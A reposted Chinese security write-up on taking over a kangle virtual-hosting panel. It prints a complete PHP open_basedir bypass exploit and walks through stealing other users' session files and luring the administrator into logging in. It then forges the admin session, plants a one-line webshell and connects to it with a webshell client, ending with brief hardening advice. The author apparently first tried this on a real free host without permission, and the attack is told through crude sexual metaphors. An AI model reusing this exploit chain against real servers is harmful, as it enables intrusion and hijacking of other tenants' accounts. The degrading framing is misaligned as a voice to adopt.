内容简介:kangle主机之我是如何偷看合租女室友洗澡并把房子占为己有的
* 本文原创作者:r41nbow , 本文属FreeBuf原创奖励计划,未经许可禁止转载
kangle web服务器( 简称:kangle ) 是一款跨平台、功能强大、安全稳定、易操作的高性能web服务器和反向代理服务器软件。 除此:kangle也是一款专为做虚拟主机研发的web服务器。实现虚拟主机独立进程、独立身份运行。用户之间安全隔离,一个用户出问题不影响其他用户。安全支持 php 、asp、asp.net、 java 、 ruby 等多种动态开发语言。
以上是kangle官网的简介。
一 、 踩点
潜入一个群进行暗中观察,随口问了一句”哪点有免费主机”。热心人丢来一个链接,马上打开注册,开通。发现是kangle主机管理系统开设的。习惯性为热心人检测下安全。上传phpinfo查看,命令执行函数被禁用,open_basedir也开启了限制。默认只能访问到网站目录和/tmp目录。
胸口一凉,难道如此美女就可遇不可求了吗?!
下载安装kangle和管理面板。单独kangle做web服务,开启80和3311端口。安装kangle对应主机管理系统开启80,3311,3312,3313端口。
3312面板为主机管理面板,可以进行站点开通、主机管理、文件管理。
站点路径/vhs/kangle/nodewww/webftp
临时文件存放路径:/vhs/kangle/nodewww/tmp
3312登录的所有会话信息(session信息)存放在 /vhs/kangle/nodewww/tmp目录下。
二 、偷看女室友洗澡 思路
如果可以获取 /vhs/kangle/nodewww/tmp目录内容,就能伪造身份进行3312面板登录。
1.命令执行,直接列出该目录。
2.绕过open_basedir读取该目录内容。
针对思路1,由于已经设置了限制命令执行函数,才疏学浅,没能绕过。
上传open_basedir绕过脚本,内容如下:
<?php /* PHP 5.3 5.4 open_basedir bypass exploit by Maksymilian Arciemowicz http://cxsecurity.com/ cxib [ a.T] cxsecurity [ d0t] com */ $fakedir="cx"; $fakedep=16; $num=0; // offset of symlink.$num if(!empty($_GET['file'])) $file=$_GET['file']; else if(!empty($_POST['file'])) $file=$_POST['file']; else $file=""; echo '<PRE> .__ __ ____ ___ ___ ______ ____ ____ __ _________|__|/ |_ ___.__. _/ ___\\\\ \/ / / ___// __ \_/ ___\| | \_ __ \ \ __< | | \ \___ > < \___ \\\\ ___/\ \___| | /| | \/ || | \___ | \___ >__/\_ \/____ >\___ >\___ >____/ |__| |__||__| / ____| \/ \/ \/ \/ \/ \/ <p>PHP 5.4 open_basedir bypass exploit poc <p>Script for legal use only. More: <a href="http://cxsecurity.com/" alt="exploit">cxsecurity.com</a> <p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>'; if(empty($file)) exit; if(!is_writable(".")) die("not writable directory"); $level=0; for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir); } while(1<$as--) chdir(".."); $hardstyle = explode("/", $file); for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; } } $as++; while($as--) chdir(".."); @rmdir("fakesymlink"); @unlink("fakesymlink"); @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); // this loop will skip allready created symlinks. while(1) if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; else $num++; @unlink("fakesymlink"); mkdir("fakesymlink"); die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>'); ?>
访问文件,尝试读取临时目录内容.
通过3312面板文件管理查看结果。
成功绕过目录限制并列出了临时目录下的session文件。
修改浏览器cookie.(注:没有失效的session文件大小都不为0,sess_xxxxxx对应的session为去掉sess_)
修改后刷新浏览器,即可成功偷看到合租室友洗澡。
如下图,从xiaoge123会话修改session后成功到了yxmssbook的管理界面。
三 、 搞定房东
管理员面板为: http://IP:3312/admin 。诱导管理登录该面板后从tmp目录查看大小不为0的sess_x文件,一个一个会话伪造后刷新页面。
成功登录进入到管理界面。
四、直捣黄龙
进入了管理面板,我们权限就很大了,删除主机太残忍,无血海深仇,不干。
我们开设一个主机到/vhs/kangle/nodewww/webftp目录,这样我们就可以往主机管理面板站点写入文件。
建立后直接通过在线文件管理,上传一句话,直捣黄龙。
phpinfo查看3312面板站点是单独的配置文件,并且是没有做任何目录和函数限制。
菜刀连接测试:
至此房东处女膜已不保。
五、处女膜修复手术
手术建议:
1.修改默认管理面板访问路径,较少爆菊风险。
2.disable_functions禁用symlink。
3.设置tmp目录权限,禁止所属用户以外任何组织访问该目录。
默认为755改为700即可。
测试:
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
可爱的Python
哲思社区 / 电子工业出版社 / 2009-9 / 55.00元
本书的内容主要来自CPyUG社区的邮件列表,由Python的行者根据自身经验组织而成,是为从来没有听说过Python的其他语言程序员准备的一份实用的导学性质的书。笔者试图将优化后的学习体验,通过故事的方式传达给读者,同时也分享了蟒样(Pythonic式)的知识获取技巧,而且希望将最常用的代码和思路,通过作弊条(Cheat Sheet,提示表单)的形式分享给有初步基础的Python 用户,来帮助大家......一起来看看 《可爱的Python》 这本书的介绍吧!